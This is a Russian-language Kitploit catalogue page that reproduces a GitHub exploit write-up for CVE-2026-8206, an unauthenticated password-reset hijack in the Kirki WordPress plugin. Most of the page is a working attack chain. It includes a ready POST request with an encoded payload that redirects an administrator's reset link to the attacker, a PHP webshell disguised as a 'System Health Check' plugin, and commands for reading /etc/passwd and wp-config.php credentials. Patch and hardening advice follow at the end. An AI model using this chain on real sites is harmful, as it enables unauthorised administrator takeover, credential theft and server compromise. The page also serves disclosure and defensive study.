Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki Customizer Framework - Захват учетной записи без аутентификации (CVSS 9.8) | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2026-8206
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki Customizer Framework - Захват учетной записи без аутентификации (CVSS 9.8)

124 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-8206

Уязвимость: Неавторизованный захват учётной записи — перехват email для сброса пароля в Kirki Customizer Framework

CVSS v3.1 9.8 / 10.0 КРИТИЧЕСКИЙ

Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. Обзор

CVE-2026-8206 — это уязвимость неавторизованного захвата учётной записи в Kirki Customizer Framework — популярном плагине конструктора страниц для WordPress с более чем 90 000 активных установок. Уязвимость позволяет атакующему захватить любую учётную запись WordPress (включая администратора), отправив всего один HTTP-запрос.

Ошибка находится в endpoint REST API kirki-forgot-password модуля ComponentLibrary. Этот endpoint позволяет запросить сброс пароля для любого пользователя и отправляет ссылку для сброса на email-адрес, указанный атакующим, вместо зарегистрированного email пользователя.

ИнформацияДетали
ПлагинKirki Customizer Framework (конструктор страниц WordPress)
Затронутые версии6.0.0 – 6.0.6
Исправлено в6.0.7 (или 6.0.12+)
Тип уязвимостиНеавторизованный захват учётной записи через перехват email для сброса пароля
Endpoint/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (или /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 КРИТИЧЕСКИЙ

Предпосылки для эксплуатации:

  • Активирован Kirki Customizer Framework 6.0.0–6.0.6
  • REST API доступен публично (по умолчанию в WordPress)
  • Модуль ComponentLibrary активен (по умолчанию при активации плагина)
  • Учётная запись и сессия не требуются

→ Каждый сайт WordPress с установленным Kirki 6.0.0–6.0.6 уязвим по умолчанию.

2. Терминология

REST Endpoints модуля ComponentLibrary

Kirki регистрирует endpoint REST API для функции Component Library, включая login, register, forgot-password и change-password. Все они разрешают гостевой доступ (guest_permissions_check возвращает true).

Проверка nonce

Nonce в WordPress — это токен защиты от CSRF. Kirki требует nonce через заголовок X-WP-Element-Nonce или проверяет параметр nonce в запросе. Однако nonce можно публично сгенерировать или извлечь на стороне клиента.

Ключ сброса пароля

WordPress использует get_password_reset_key() для генерации токена сброса пароля. Kirki включает этот токен в шаблон письма перед отправкой.

3. Первопричина — перехват email для сброса пароля

Файл: ComponentLibrary/controller/CompLibFormHandler.php

Ошибка 1: отсутствует проверка соответствия email пользователю

В уязвимой версии (6.0.0–6.0.6) функция handle_forgot_password() не проверяет, совпадает ли указанный email с зарегистрированным email пользователя. Атакующий может указать имя пользователя жертвы и свой собственный email — ссылка для сброса будет отправлена на email атакующего.

Уязвимый исходный код:

root@kitploit:~
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

Ошибка 2: отсутствует HMAC-подпись шаблона письма

Тема и тело письма принимаются от клиента через параметры emailSubject и emailBody без какой-либо HMAC-подписи для проверки целостности. Атакующий может произвольно изменять содержимое отправляемого письма.

root@kitploit:~
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. Почему эта уязвимость опасна

ФакторПояснение

5. Анализ цепочки атаки

Эксплуатация CVE-2026-8206 начинается с нулевого доступа — без учётной записи, пароля и сессии — и приводит к полному захвату администратора с использованием только HTTP-запросов.

root@kitploit:~
Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 Методология создания полезной нагрузки

Шаг 1: Чтение исходного кода (самый точный метод)

Скачайте плагин с wordpress.org и откройте файл CompLibFormHandler.php напрямую:

root@kitploit:~
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ Чтение кода показывает: emailBody должен быть JSON-массивом, где каждый элемент имеет type и value. Если type = chip, а value = reset_link, Kirki автоматически вставляет ссылку для сброса в письмо.

Шаг 2: Поиск по JavaScript-бандлу плагина (grep)

Выполните grep непосредственно в каталоге плагина:

root@kitploit:~
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

Скомпилированный фронтенд-код раскроет точную требуемую JSON-структуру.

Сводка процесса поиска полезной нагрузки:

root@kitploit:~
Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 Фаза 1: Перехват email для сброса пароля

Атакующий отправляет POST-запрос на endpoint forgot-password с именем пользователя жертвы (admin) и email-адресом, контролируемым атакующим ([email protected]). Сервер генерирует ключ сброса для жертвы, но отправляет ссылку для сброса на [email protected].

Отправка запроса:

root@kitploit:~
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Interceptor request sending reset email

Ответ (успех):

Response confirming email sent

Письмо, полученное в почтовом ящике атакующего (MailHog на http://localhost:8025):

root@kitploit:~
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

MailHog inbox receiving reset key

5.2 Фаза 2: Сброс пароля и вход администратора

Атакующий использует токен key, полученный из письма, чтобы изменить пароль учётной записи администратора через endpoint kirki-change-password или стандартную форму WordPress, после чего входит в систему и получает полный административный контроль над сайтом.

Password reset form

Пароль изменён, и выполнен вход с использованием учётной записи admin.

Admin dashboard login success

Доступ к учётной записи admin получен.

5.3 Фаза 3: Загрузка веб-шелла и RCE

После получения доступа к админ-панели атакующий переходит от захвата учётной записи к удалённому выполнению кода (RCE) через стандартную функцию WordPress «Загрузить плагин».

Шаг 1: Создание плагина, содержащего веб-шелл

Атакующий создаёт PHP-веб-шелл, замаскированный под легитимный плагин WordPress:

root@kitploit:~
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

Этот файл сжимается в system-health.zip для загрузки через интерфейс администратора.

Шаг 2: Загрузка плагина через админ-панель

Атакующий переходит в Плагины → Добавить новый → Загрузить плагин, выбирает файл system-health.zip и нажимает Установить → Активировать плагин.

Upload plugin interface

После загрузки WordPress автоматически распаковывает .zip-файл в каталог /wp-content/plugins/ на сервере, и веб-шелл готов к работе.

Шаг 3: Выполнение команд на сервере (RCE)

Атакующий обращается к веб-шеллу напрямую через endpoint /wp-content/plugins/webshell-plugin/shell.php

RCE command execution whoami

RCE command execution passwd

RCE выполнен успешно.

На этом этапе атакующий имеет полную возможность выполнения команд на сервере с правами www-data. Дальнейшие действия могут включать:

Сводка цепочки повышения привилегий:

root@kitploit:~
Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. Сводка цепочки атаки


7. Защита и устранение уязвимости

7.1 Патч плагина (окончательное исправление)

Текущая версияОбновиться до
6.0.0 – 6.0.66.0.7 или новее

7.2 Исправление кода — проверка соответствия email пользователю

root@kitploit:~
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 Усиление защиты — предотвращение эскалации до RCE

Даже если учётная запись администратора скомпрометирована, ущерб можно смягчить следующими мерами:

Скачать инструмент
Аутентификация не требуетсяguest_permissions_check() возвращает true — вызвать endpoint может кто угодно
Можно захватить любую учётную записьНужно только имя пользователя (по умолчанию: 'admin') — email/пароль не требуются
Влияние: захват администратораЗахват администратора → загрузка веб-шелла → RCE → полный контроль над сервером
Широкое распространениеKirki — плагин, широко интегрированный во множество тем WordPress
КомандаНазначение
idПодтвердить права текущего пользователя
whoamiПросмотреть имя текущего пользователя
cat /etc/passwdПрочитать список пользователей системы
uname -aПросмотреть информацию о ядре/ОС
cat wp-config.phpПрочитать учётные данные базы данных
ls -la /Просмотреть всю файловую систему
#ФазаМетодПуть
1Перехват email для сбросаPOST/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
2Сброс пароляGET/wp-login.php?action=rp&key=<token>&login=admin
3Вход администратораPOST/wp-login.php
4Загрузка веб-шеллаPOST/wp-admin/update.php?action=upload-plugin
5RCEGET/wp-content/plugins/webshell-plugin/shell.php?cmd=<command>
МераКонфигурация
Блокировка установки плагинов/тем через админ-панельДобавьте define('DISALLOW_FILE_MODS', true); в wp-config.php
Блокировка редактирования кода из админ-панелиДобавьте define('DISALLOW_FILE_EDIT', true); в wp-config.php
Ограничение прав на каталог загрузокchmod 755 для каталогов, chmod 644 для файлов
WAF (межсетевой экран веб-приложений)Разверните ModSecurity или Cloudflare WAF для блокировки аномальных запросов к REST API
МониторингОтслеживайте изменения файлов в /wp-content/plugins/ с помощью таких инструментов, как OSSEC или Wordfence